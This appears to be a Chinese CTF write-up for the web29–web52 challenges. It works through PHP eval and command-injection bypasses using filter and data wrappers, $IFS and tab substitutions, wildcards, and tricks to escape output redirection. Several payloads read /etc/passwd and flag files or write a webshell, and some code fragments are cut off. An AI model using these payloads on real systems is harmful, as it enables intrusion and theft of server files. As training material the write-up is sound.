目录
web29
web30
web31
web32
web33
web34
web35
web36
web37
web38
web39
web40
web41
web42
web43
web44
web45
web46
web47
web48
web49
web50
web51
web52
代码解释判断是否存在GET型参数c 如果存在赋值给变量c 如果参数值没有匹配到字符串flag则执行代码 eval()
直接传参
第一种方法
?c=system('ls');
?c=system('tac f*');
第二种
?c=system('cp f* 1.txt');
访问1.txt
第三种
highlight_file(next(array_reverse(scandir("."))));
解释:具体来说,
scandir(".")
函数会返回当前文件所在目录下的所有文件和目录的名称列表,并以数组的形式返回。然后,array_reverse()
函数会将该数组翻转,使得最后修改的文件排在数组的第一个位置。接着,next()
函数会返回该数组的第一个元素,即最后修改的文件的名称。第四种 尝试写木马
file_put_contents("alb34t.php",%20%27%27);
第五种
这里的eval也可以换为include,并且可以不用括号。但是仅仅可以用来读文件了。
include可以和过滤器联合使用
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php知识点
1 eval函数可以理解为代码执行 动态执行php代码
2 system函数可以理解为命令执行 执行shell命令
3 php最后一个语句可以没有分号
eval(phpinfo()) 无输出结果
eval(phpinfo();)有输出结果
eval(phpinfo()?>) 有输出结果
4 file _get_contents() 获取文件内容 以字符串方式返回 这道题屏蔽了flag.php所以不能使用这个
?c=`cp f* 1.txt`;
知识点:反引号在php中类似于system函数 可以执行shell命令
连点都被过滤了
可以嵌套一个eval
?c=eval($_GET[1]);&1=phpinfo();
为什么要嵌套?c=$_GET[1]&1=phpinfo();不行嘛
不行 如果不使用函数是无法获取到变量的 简单理解就行不要想深
?c=eval($_GET[1]);&1=system('ls');
?c=eval($_GET[1]);&1=system('tac f*');
知识点 这就逃逸出来了参数1的值不属于参数c的内容 所以检测不到
第二种方法
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
pos(localeconv())返回一个. 硬背就行
scandir()获取当前目录下的文件名组成一个数组 按照顺序进行排序 最后修改在最后面
array_reverse()翻转数组
next()获取第一个数组的值
show_source()展示页面源代码
空格单引号反引号 还有括号都给禁用了
知识点:include可以读取非php文件内容输出直接输出到页面,当使用
include
包含一个非 PHP 文件时,PHP 解释器会将这个文件的内容视为纯文本,并将其直接输出到浏览器/?c=include%0a$_GET[1]?>&1=/etc/passwd 输出该文件内容
二进制文件也是可以输出的/?c=include%0a$_GET[1]?>&1=/bin/ls
?c=include%0a$_GET[1]?>&1=flag.php 虽然包含了但是因为是php文件所以不输出
但是可以使用过滤器
php://filter/read=convert.base64-encode/resource=flag.php
?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
我的理解就是 过滤器获取到php文件的内容后生成了base64编码后的字符串 include包含进来 无法判定是php代码 所以直接进行输出 然后进行解码即可
使用上一关payload即可多加了一个双引号 无影响
使用require也行和include一个效果都是用于文件包含
?c=require%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
过滤了冒号 没用 上一题payload也行 因为他识别c的内容 虽然通过1给c传值 但是1的值不属于c
?c=require%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
知识点
?c=print%0a$_GET[1]?>&1=phpinfo() 会输出字符串phpinfo()
又过滤了<和= 没用 依旧使用上一题payload即可
?c=require%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
过滤了1-9
第一种方法
?c=require%0a$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
第二种方法
data://text/plain
是一种 PHP 中的数据流协议,它允许将数据作为 URL 直接嵌入到 PHP 代码中。具体来说,这个协议用于将纯文本数据嵌入到 PHP 脚本中,而不必将其放在单独的文件中?c=include%0a$_GET[a]?>&a=data://text/plain,
包含一个文件$c 显然$c的值不能是flag.php
那就使用伪协议
对于我的理解: 过程就是使用data伪协议传输数据流 include包含这个数据流 包含进来服务器就会php识别出为php代码从而执行php代码 如果不是php代码include包含进来就自动输出到页面中
第一种方法
?c=data://text/plain,
第二种方法
因为是过滤了flag还可以这么写
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg===
过程就是data将数据传给变量c 然后include包含后 数据流进行解密然后执行代码
禁用了php 可以使用上一题的第二种方法也可以
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
上一题的第一种方法改变一下写法也可以
?c=data://text/plain,=system("tac fla*")?>
强制在include后方加.php 无影响
?c=data://text/plain,
举个例子 使用phpinfo()
?c=data://text/plain,
include会包含 .php 服务器识别出php代码从而执行默认会将phpinfo结果输出页面 然后.php字符串 前面也说了include包含纯文本内容会将页面内容输出 所以在最下方会输出.php
|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
get_defined_vars()
是一个 PHP 内置函数,用于返回当前作用域中所有已定义的变量和它们的值。?c=print_r(
get_defined_vars());
加上post参数1=phpinfo();
?c=print_r(next(get_defined_vars()));
输出
?c=print_r(array_pop(next(get_defined_vars())));
对数组的值进行弹出 也就是键值对 的值弹出
执行即可
?c=eval(array_pop(next(get_defined_vars())));
GET: ?c=eval(array_pop(next(get_defined_vars())));
POST:1=system('ls');
GET: ?c=eval(array_pop(next(get_defined_vars())));
POST:1=system('tac flag.php');
有难度可以练习脚本 留着以后弄
/dev/null 2>&1"); }else{ highlight_file(__FILE__); }
system($c." >/dev/null 2>&1");
将$c的输出 输出到黑洞中 错误输出(2)输出到标准输出(1)输出的位置 也就代表标准输出和错误输出都输出到黑洞
解决方案就是 双写绕过
?c=ls;ls 就变成了system(ls;ls." >/dev/null 2>&1"); 第二个ls的输出 输出到黑洞中 第一个ls正常输出到页面中 这个姿势就是双写绕过
或者
?c=tac%20flag.php%0a 就变成了
system(tac%20flag.php
." >/dev/null 2>&1");
这种格式 能输出 黑洞获取不到任何信息
或者
?c=cat%20flag.php;&2 和双写一个意思 就是正常输出第一个语句 然后&2>/dev/null
/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
把分号过滤了 不能使用双写方式绕过
上一题的第二种方法或者换一个更有意思的姿势
?c=tac%20flag.php&& 就变成了
system(tac%20flag.php&&." >/dev/null 2>&1");
&& 和and差不多意思 前面的语句执行成功才会执行后面的语句
传参的时候要将&&进行url编码%26%26 因为&在传参中会被识别为参数的分隔符
/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
过滤了flag 用通配符即可绕过
?c=tac%20fl*%26%26
?c=tac%20fl*%0a
知识点:nl和cat一样效果
/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
多过滤了空格 使用%09 意思就是tab 四个空格的位置
?c=tac%09fl*%26%26
换一个姿势
?c=echo$IFS`tac%09fl*`%0A
echo$IFS $IFS里面包含空格制表符等
翻译号的效果和system效果一样
/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
不能有*和数字
换一个通配符?即可?c=tac%09fla?.php%26%26
这个%09%26中的数字 是匹配不到的 因为到服务器端后 %09就变成tab键的四个空格 %26就变成&了
换一个姿势
?c=nl
将flag.php的内容 输入给nl 然后nl进行输出
fl''ag代表的就是flag
|| 有一个真则为真
/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
禁用了很多输出字符的命令 但是依旧没有禁用tac nl使用上一题poyload即可
/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
过滤了更多读取文件的命令 依旧没有过tac nl 继续白嫖
这两道题告诉我们 木桶原则太重要了 只要有一个出现问题 其余再好也没用
/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
同理 说一嘴在这里传参直接传||就可以不用url编码也是可以的
/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
这个时候 x09 x26都没了 不影响我们的payload
/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
可算过滤了tac了 但是还有nl
|\/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
过滤了< 但是没有过滤$
nc用不了了
知识点$IFS是可以被正则匹配到的 $IFS在shell中代表空格制表符 所以前提是system执行时他才代表制表符等
?c=cp$IFSfla?.php$IFSa.txt|| 不行
可能就是没有写权限 试一下mv 也不行?c=mv$IFSfla?.php$IFSa.txt|| 也不行
换一种写法 就可以了 也不知道什么原因 硬背就行 当是一个姿势 知道原因了
如果不使用花括号,shell 可能会将变量的名称与其他字符连接在一起,导致无法正确解析变量
?c=cp${IFS}fla?.php${IFS}a.txt||
?c=mv${IFS}fla?.php${IFS}a.txt||
flag并没有在里面 看来是假的flag
?c=ls$IFS/||
?c=pwd||
?c=mv${IFS}/fla?${IFS}/var/www/html/d.txt|| 不可以
?c=cp${IFS}/fla?${IFS}d.txt|| 在根目录下不存在
?c=cp${IFS}/fla?${IFS}/var/www/html/d.txt|| 可以
换个姿势 前提知道文件位置 nl用来读取文件
?c=nl${IFS}/fla%27%27g||